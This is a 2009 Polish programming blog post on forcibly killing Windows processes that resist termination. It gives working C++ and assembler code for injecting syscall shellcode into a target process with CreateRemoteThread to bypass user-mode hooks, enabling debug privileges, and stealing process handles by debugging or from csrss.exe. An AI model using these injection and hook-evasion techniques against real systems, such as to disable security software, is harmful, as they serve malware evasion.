Niekonwencjonalna metoda zabijania procesu ;)
Posted in C++, assembler on Październik 7th, 2009 by GrzonuDziś chcialbym napisac o tym jak mozna zabic proces ktory w jakis sposob sie przed tym broni(nie jest to jeszcze 100% skuteczne metoda ale na 99% aplikacji nie ingerujacych w KM* powinna dzialac)
Co bedziemy chcieli zrobic:
-Otworzyc proces
-Zaalokowac kawałek pamieci w tym procesie
-Wrzucic do tej pamieci shellcode
-Utworzyc wątek w tym procesie ktory uruchomi shellcode
Co będzie robil shellcode?
Będzie wywolywal funkcje ZwTerminateProcess za pomoca syscall`a
Czemu akurat tak? A po to aby uminać wszystkie hooki UM*
Najpierw o tym jak wywolywana jest funkcja przez syscall:
-na stos rzucamy parametry funkcji
-do rejestru eax wrzucamy numer funkcji
-do rejestru edx wrzucamy esp
-uzywamy mnemonika SYSENTER aby wywolac funkcje
wyglada to mniej wiecej tak:
1 2 3 4 5 6 7 8 9 10 11 | PUSH 0 PUSH -1 CALL TERM RET TERM: MOV EAX,101h ;101h <- ZwTerminateProcess dla XP CALL SYS SYS: MOV EDX,ESP SYSENTER RET |
Pozostaje jeszcze jedna kwestia zwiazana z wywolaniem syscall`a
W kazdej wersji systemu numery syscall`i sie zmieniaja. Aby nie wpisywac ich „na sztywno” pobierzemy je dynamicznie z kodu funkcji ZwTerminateProcess
(tu naleza sie podziekowania dla j00ru ktory mnie na to naprowadzil)
debugujemy tą funkcje i widzimy instrukcje mov eax,101h (B8 01010000)
widzimy więc ze aby uzyskac numer funkcji poprostu odczytamy bajty 2-5 tejze funkcji
Jeszcze jedna uwaga i przejdziemy do kodu ![]()
Aby otworzyc niektore procesy potrzebujemy pewnych uprawnien …nadajmy je sobie
1 2 3 4 5 6 7 8 9 10 11 12 | void DebugPriv() { HANDLE hToken; TOKEN_PRIVILEGES tkp; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, 0, &tkp, sizeof(tkp), NULL, NULL); } } |
No dobrze teraz troche innego kodu
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <windows.h> char shellcode[]={ "\x6A\x00\x6A\xFF\xE8\x01\x00\x00\x00\xC3\xB8\x01\x01\x00\x00\xE8\x01\x00\x00\x00\xC3\x8B\xD4\x0F\x34\xC3"}; //nasz shellcode DWORD shellcode_size=0x20;//rozmiar shellcodu void KillApp(DWORD pid)//pid - process id { char code[0x20]; memcpy(code,shellcode,0x20);//kopiujemy shellcode do innego bufora HMODULE h=GetModuleHandle("NTDLL.DLL"); FARPROC p=GetProcAddress(h,"ZwTerminateProcess");//pobieramy adres ZwTerminateProcess memcpy((char*)(code+0x0B),(char*)((char*)p+1),4);//kopiujemy numer funkcji tak jak mówiłem wczesniej HANDLE hProc=0; hProc=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_CREATE_THREAD, FALSE, pid);//otwieramy proces LPVOID hRemoteMem = VirtualAllocEx(hProc, NULL, 0x20, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//alokujemy pamiec w procesie DWORD numBytesWritten; WriteProcessMemory(hProc, hRemoteMem, code, 0x20, &numBytesWritten);//zapisujemy nasz shellcode do procesu HANDLE hRemoteThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)hRemoteMem, 0, 0, NULL);//tworzymy zdalny watek ktory wykona kod zapisany w procesie CloseHandle(hProc);//mozemy juz zamknac uchwyt ...i tak wskazuje na nieistniejacy proces :D |
No dobrze wszystko fajnie …ale co jesli perfidna aplikacja zablokuje nam mozliwosc otwarcia procesu
mozemy probowac 2 metod
1. Debugowac aplikacje
2. Wyciągnąć ten uchwyt z procesu csrss.exe ktory przechowuje uchwyty wszystkich aplikacji(no prawie wszystkich)
Sposob 1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | HANDLE OpenProcessFromDebug(DWORD pid) { if(DebugActiveProcess(pid)!=0)//Zaczynamy Debuggowanie { DEBUG_EVENT DebugEvent; while(1) { if(WaitForDebugEvent(&DebugEvent, INFINITE))//czekamy na event o jakims zdarzeniu { DebugActiveProcessStop(pid);//konczymy debuggowanie return DebugEvent.u.CreateProcessInfo.hProcess;//zwracamy uchwyt procesu ktory dostajemy w evencie ;) } } } return 0; } |
Sposob 2.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | typedef DWORD (__stdcall *CSRPID)(void); typedef DWORD (__stdcall *NTQSI)(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength, ULONG* ReturnLength); #define SystemHandleInformation 16 typedef struct { ULONG OwnerPid; BYTE ObjectType; BYTE HandleFlags; USHORT HandleValue; PVOID ObjectPointer; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_ENTRY; typedef struct { ULONG HandleCount; SYSTEM_HANDLE_ENTRY Handles[1]; } SYSTEM_HANDLE_INFORMATION; HANDLE OpenProcessFromCsrss(DWORD pid) { HMODULE ntdll = GetModuleHandle("ntdll"); CSRPID CsrGetProcessId = (CSRPID)GetProcAddress(ntdll, "CsrGetProcessId"); NTQSI NtQuerySystemInformation = (NTQSI)GetProcAddress(ntdll, "NtQuerySystemInformation"); DWORD csrss_pid = CsrGetProcessId();//pid procesu csrss HANDLE csrss = OpenProcess(PROCESS_DUP_HANDLE, FALSE, csrss_pid);//otwieramy proces csrss if (!csrss) { return 0; } ULONG size = 0x1000; SYSTEM_HANDLE_INFORMATION *handles = (SYSTEM_HANDLE_INFORMATION*)malloc(size); //alokujemy miejsce na strukture zwracana przez NtQuerySystemInformation DWORD status; ULONG need; status = NtQuerySystemInformation(SystemHandleInformation, handles, size, &need); if(status!=0)//jesli mamy przeznaczylismy za malo miejsca to dodajmy wiecej ;) { free(handles); size =need; handles = (SYSTEM_HANDLE_INFORMATION*)malloc(size); NtQuerySystemInformation(SystemHandleInformation, handles, size, &need); } int i; HANDLE h_proc; //mamy juz nasza strukture ...teraz poszukajmy naszego uchwytu for (i=0; i<handles->HandleCount; i++) { if (handles->Handles[i].OwnerPid == csrss_pid)//wlascicielem uchwytu jest csrss { if (DuplicateHandle(csrss, (HANDLE)handles->Handles[i].HandleValue, GetCurrentProcess(), &h_proc, 0, FALSE, DUPLICATE_SAME_ACCESS))//duplikujemy uchwyt { if (GetProcessId(h_proc) == pid) //pobieramy PID z uchwytu i jesli sie zgadza to zwracamy ten uchwyt { return h_proc; } CloseHandle(h_proc); } } } if (handles) free(handles); CloseHandle(csrss); return 0; } |
No to chyba na tyle w tym temacie, jesli cos mi jeszcze wpadnie do glowy to dopisze
Jeszcze jedna mała uwaga …za pomoca szukania uchwytow w csrss mozna odnalesc ukryte procesy
Cały kod pełnosprawnej aplikacji znajduje sie ponizej ![]()
CLICK
Bede wdzieczny za wszelkie komentarze i uwagi
*UM-User Mode(ring3)
*KM-Kernel-Mode(ring0)















